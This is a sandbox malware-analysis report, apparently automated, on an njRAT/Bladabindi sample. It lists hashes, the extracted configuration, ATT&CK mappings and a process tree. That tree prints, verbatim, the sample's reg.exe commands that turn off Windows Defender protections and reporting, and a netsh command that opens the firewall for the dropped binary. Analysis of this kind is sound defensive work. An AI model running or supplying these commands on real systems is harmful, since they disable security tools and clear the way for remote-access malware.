njrat | 94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998

Analysis

max time kernel
148s
max time network
131s
platform
windows7_x64
resource
win7v20201028
submitted
13/11/2020, 15:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
Size 540KB
Sample201113-7fwhecgq3e
SHA256 94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998
MD5 599d4a1935454e7d29840f2f8aa8766c
SHA1 61186befb06d37ce33647047a3f9c5b394f84ed9
SHA512 df68ab8efe3b5712090349432b2703e3393e2bed71c609f463ce2a3f958e4453a26a899371eca219ab0db3d8a7be6f7bbb0b83f1511e83bebe8ccba04b703a5e
MD5 SHA1 SHA512

Score

10^/10

njrat hacked evasion trojan

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

127.0.0.1:5552

Mutex

e83af6d5ff692b69cb0ee3ea3a7e3fe0

Attributes

reg_key
e83af6d5ff692b69cb0ee3ea3a7e3fe0
splitter
|'|'|

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Executes dropped EXE 4 IoCs

pid	Process
1104	loriedoodles.exe
1664	cutedoodles.sfx.exe
1744	cutedoodles.exe
1380	cutedoodles.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 10 IoCs

pid	Process
1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
1664	cutedoodles.sfx.exe
1664	cutedoodles.sfx.exe
1664	cutedoodles.sfx.exe
1744	cutedoodles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe
Token: 33	1380	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1380	cutedoodles.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 1104	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	26
PID 1040 wrote to memory of 1104	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	26
PID 1040 wrote to memory of 1104	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	26
PID 1040 wrote to memory of 1104	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	26
PID 1104 wrote to memory of 1996	1104	loriedoodles.exe	28
PID 1104 wrote to memory of 1996	1104	loriedoodles.exe	28
PID 1104 wrote to memory of 1996	1104	loriedoodles.exe	28
PID 1104 wrote to memory of 1996	1104	loriedoodles.exe	28
PID 1996 wrote to memory of 1988	1996	cmd.exe	29
PID 1996 wrote to memory of 1988	1996	cmd.exe	29
PID 1996 wrote to memory of 1988	1996	cmd.exe	29
PID 1996 wrote to memory of 1972	1996	cmd.exe	30
PID 1996 wrote to memory of 1972	1996	cmd.exe	30
PID 1996 wrote to memory of 1972	1996	cmd.exe	30
PID 1996 wrote to memory of 1788	1996	cmd.exe	31
PID 1996 wrote to memory of 1788	1996	cmd.exe	31
PID 1996 wrote to memory of 1788	1996	cmd.exe	31
PID 1996 wrote to memory of 1280	1996	cmd.exe	32
PID 1996 wrote to memory of 1280	1996	cmd.exe	32
PID 1996 wrote to memory of 1280	1996	cmd.exe	32
PID 1996 wrote to memory of 1736	1996	cmd.exe	33
PID 1996 wrote to memory of 1736	1996	cmd.exe	33
PID 1996 wrote to memory of 1736	1996	cmd.exe	33
PID 1996 wrote to memory of 1784	1996	cmd.exe	34
PID 1996 wrote to memory of 1784	1996	cmd.exe	34
PID 1996 wrote to memory of 1784	1996	cmd.exe	34
PID 1996 wrote to memory of 1800	1996	cmd.exe	35
PID 1996 wrote to memory of 1800	1996	cmd.exe	35
PID 1996 wrote to memory of 1800	1996	cmd.exe	35
PID 1996 wrote to memory of 1716	1996	cmd.exe	36
PID 1996 wrote to memory of 1716	1996	cmd.exe	36
PID 1996 wrote to memory of 1716	1996	cmd.exe	36
PID 1996 wrote to memory of 1684	1996	cmd.exe	37
PID 1996 wrote to memory of 1684	1996	cmd.exe	37
PID 1996 wrote to memory of 1684	1996	cmd.exe	37
PID 1996 wrote to memory of 616	1996	cmd.exe	38
PID 1996 wrote to memory of 616	1996	cmd.exe	38
PID 1996 wrote to memory of 616	1996	cmd.exe	38
PID 1996 wrote to memory of 1432	1996	cmd.exe	39
PID 1996 wrote to memory of 1432	1996	cmd.exe	39
PID 1996 wrote to memory of 1432	1996	cmd.exe	39
PID 1996 wrote to memory of 1300	1996	cmd.exe	40
PID 1996 wrote to memory of 1300	1996	cmd.exe	40
PID 1996 wrote to memory of 1300	1996	cmd.exe	40
PID 1996 wrote to memory of 848	1996	cmd.exe	41
PID 1996 wrote to memory of 848	1996	cmd.exe	41
PID 1996 wrote to memory of 848	1996	cmd.exe	41
PID 1040 wrote to memory of 1664	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	42
PID 1040 wrote to memory of 1664	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	42
PID 1040 wrote to memory of 1664	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	42
PID 1040 wrote to memory of 1664	1040	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	42
PID 1664 wrote to memory of 1744	1664	cutedoodles.sfx.exe	43
PID 1664 wrote to memory of 1744	1664	cutedoodles.sfx.exe	43
PID 1664 wrote to memory of 1744	1664	cutedoodles.sfx.exe	43
PID 1664 wrote to memory of 1744	1664	cutedoodles.sfx.exe	43
PID 1744 wrote to memory of 1380	1744	cutedoodles.exe	47
PID 1744 wrote to memory of 1380	1744	cutedoodles.exe	47
PID 1744 wrote to memory of 1380	1744	cutedoodles.exe	47
PID 1744 wrote to memory of 1380	1744	cutedoodles.exe	47
PID 1380 wrote to memory of 1708	1380	cutedoodles.exe	48
PID 1380 wrote to memory of 1708	1380	cutedoodles.exe	48
PID 1380 wrote to memory of 1708	1380	cutedoodles.exe	48
PID 1380 wrote to memory of 1708	1380	cutedoodles.exe	48

C:\Users\Admin\AppData\Local\Temp\94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
"C:\Users\Admin\AppData\Local\Temp\94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1040
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\loriedoodles.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\loriedoodles.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\44EC.tmp\44ED.tmp\44EE.bat C:\Users\Admin\AppData\Local\Temp\RarSFX0\loriedoodles.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1996
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      4⤵
      PID:1988
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      4⤵
      PID:1972
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      4⤵
      PID:1788
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      4⤵
      PID:1280
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      PID:1736
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      4⤵
      PID:1784
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      4⤵
      PID:1800
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      PID:1716
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      4⤵
      PID:1684
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      4⤵
      PID:616
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      4⤵
      PID:1432
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      4⤵
      PID:1300
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
      4⤵
      PID:848
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\cutedoodles.sfx.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cutedoodles.sfx.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\cutedoodles.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\cutedoodles.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Users\Admin\AppData\Local\Temp\cutedoodles.exe
      "C:\Users\Admin\AppData\Local\Temp\cutedoodles.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1380
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\cutedoodles.exe" "cutedoodles.exe" ENABLE
        5⤵
        
        PID:1708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads